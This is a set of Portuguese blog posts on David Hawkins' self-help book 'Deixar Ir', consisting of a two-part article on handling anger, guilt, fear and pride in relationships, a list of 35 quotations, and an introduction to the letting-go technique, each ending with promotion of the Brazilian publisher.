Os frutos que colhemos são sempre reflexo das nossas intenções. Observe que sempre que tentamos forçar o outro a mudar, ele resiste. Quanto mais forçamos, mais resistência. Não se iluda se a pessoa ceder e mudar por um ato de força que foi feito. Quando não há aceitação interna, não é possível ter um resultado duradouro. 

A chave é reconhecer que não é o desejo que nos leva onde queremos e nem a raiva nem o medo que vão nos proteger. Ao contrário do que imaginamos, as expectativas bloqueiam o resultado que desejamos. 

Aqui, o exercício é o oposto da parte 1 desse artigo, é refletir sobre o melhor cenário possível. A partir daí, também render o medo de não acontecer e a expectativa de que aconteça. A frustração surge de querer que aconteça AGORA. Mas quando as expectativas são rendidas não há mais uma pressão de “quando será que vai acontecer?”. Isso reflete em paciência e observe que as pessoas pacientes normalmente conseguem o que querem. 

Conclusão

Conforme rendemos os sentimentos negativos, inesperadamente chegamos exatamente no resultado que a gente queria. Nesse capítulo sobre relacionamentos, o dr. Hawkins relata o caso de um processo judicial trabalhista que foi cancelado ao empregador render a raiva do funcionário (com uma diferença de 2 minuto no relógio!), o caso de um casal se divorciando que estava brigando por um objeto e após o homem render seu desejo a mulher ligou e ofereceu o objeto (além de oferecer embalar e enviar) e o caso de um amigo que emprestou 200 dólares ao outro e só recebeu o dinheiro de volta depois de deixar ir o ressentimento que estava guardando sobre isso (o amigo não tocou no assunto durante um ano). Quando algo não flui, e olhamos nossos sentimentos e pensamentos sobre isso, a reação do outro é óbvia. Era só um reflexo do que a gente estava sentindo. 

“Se ainda mantiver a fantasia de que a outra pessoa não sabe dos seus pensamentos e sentimentos apenas saiba que os cães rapidamente percebem! Realmente achamos que a psique humana é inferior à de um cachorro? Se um cão rapidamente lê a nossa atitude interna completamente, podemos ter certeza de que a intuição das pessoas ao nosso redor está pegando a mesma vibração.”

O render dos sentimentos não é um ato de manipulação para se conseguir o que quer, é, na verdade, um ato de Amor a si mesmo e ao outro. Observe que o importante é o desapego com o resultado, se não acontecer nada, como muitas vezes não acontece, está tudo bem. A pessoa já não fica chateada em não ter aquele resultado e é justamente por isso que flui. A pessoa sai de um desejo egoísta para aceitar a Vontade de Deus, aquilo que é o melhor para o contexto.

Todos sabem o que está na sua mente

De agora em diante, imagine que todos sabem exatamente o que está se passando na sua mente enquanto você lida com eles. Vai ser desafiador, mas certamente divertido, quase como um filme de comédia. Além de trazer uma enorme oportunidade de purificar seus sentimentos e, consequente, aumentar usa energia e felicidade. Mas isso só é possível se você não reprimir seus sentimentos, nem tentar controlar seus pensamentos. Respeite a si mesmo! E assim, você aprende a respeitar aos outros.

Não reprima sentimentos negativos fazendo aquilo ressoar em você mesmo e sugar sua energia. Se permita observar a si mesmo e deixar ir aquilo que não serve ao Amor. 

Vamos juntos nessa jornada!

Não perca nada! Essa é só a segunda parte do artigo

Para ler a primeira parte desse artigo sobre Relacionamentos, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

Categorias
Níveis de Consciência

Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

Categorias
David Hawkins

As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

Categorias
David Hawkins

E se fosse possível desapegar de tudo que é ruim e só Deixar Ir?

Deixar Ir: Como desapegar do que me faz mal?

Quantas vezes nós não nos perguntamos coisas profundas quando percebemos que nossa felicidade pode ser abalada por pequenas ou grandes situações? 

Como lidamos com os dilemas da humanidade? Quantas vezes não acreditamos que estamos surtando? Ou seria o mundo? 

A busca por soluções

Parece que todas as soluções que procuramos para nos aliviar de quaisquer questões que nos tragam desconforto trazem apenas um alívio temporário. 

Nossa mente tagarela o tempo todo! Parece que lidar com tantas inseguranças e dúvidas não é um privilégio. Estamos todos no mesmo barco.

  • Alguns não conseguem enxergar 
  • Outros, às vezes, especialistas se confundem sofisticadamente com elaborações mentais infinitas e criam sistemas que resolvem as questões por algum tempo, mas depois voltam ao padrão 
  • Instituições sociais que têm o papel de apoiar aqueles que “estão perdidos” parecem ter perdido credibilidade
  • Os sistemas de saúde também não dão conta das demandas

E onde estarão as respostas? Quem poderá trazê-las?

Buscamos respostas em religiões, estudos, filosofia, terapias e técnicas, na medicina convencional e homeopática, enfim, nosso desejo de dirimir nossas questões e dúvidas nos impulsiona a buscar sempre respostas.

Somos eternos buscadores 

O que nos leva a continuar procurando respostas para nossos dilemas? Coragem de encontrar a verdade? Sofrimento? Esperança? Com toda certeza, mas continuamos a busca por algo que vai além disso. 

Nossa intuição nos diz para continuarmos e que em algum lugar existirá uma resposta definitiva. Mas, onde está nosso ponto cego? Por que não chegamos às respostas?

Você conhece o problema? 

Como é possível encontrar respostas se não reconhecemos o problema? 

Talvez a resposta seja simples ou não esteja “lá fora” ou ainda mantemos um sistema tão complexo de crenças que ficamos cegos. 

E você pode estar se perguntando: e como temos exemplos de pessoas que alcançaram clareza e encontraram soluções definitivas para vários problemas? O que fizeram de diferente, qual era o segredo deles?

A busca nos caminhos espirituais – Deixar Ir

Praticamos e participamos de diversas formas de buscar uma conexão espiritual e assim obter respostas. Contudo, o ego está sempre presente e nos diz que podemos encontrar as respostas para tudo. Somos tomados por orgulho e a presunção de que temos as respostas. 

Segundo o Dr. David Hawkins, autor do livro “Deixar Ir” – um mecanismo simples, silencioso e interno de simplesmente render qualquer expectativa sobre qualquer situação – propõe que sejamos salvos dessa presunção de que temos as respostas!

“Confusão é a nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra ser oprimido por suas ideias. Se você está confuso, você ainda está livre!” (Dr.David Hawkins)

O livro Deixar Ir

Dr. Hawkins propõe nesse livro um método simples para alcançar clareza e transcender os problemas. Não se busca as respostas, mas desfazer a base do problema. É um recurso interno, próprio, individual onde tudo pode ser comprovado por si próprio. 

O livro propõe compreender como esse mecanismo funciona e deixar uma forma de todos acessarem esses recursos internos e pessoais que podem trazer as respostas. 

O mecanismo não é complexo. É algo que já é seu e é preciso redescobrí-lo em sua própria natureza. 

O processo de deixar ir, da rendição é automático e é da natureza da mente buscá-lo porque ela procura pelo alívio da dor e do sofrimento e sempre visa experienciar uma felicidade maior. 

Deixe ir e entregue-se à leitura desse livro que é um verdadeiro manual para se reconectar com seus conteúdos.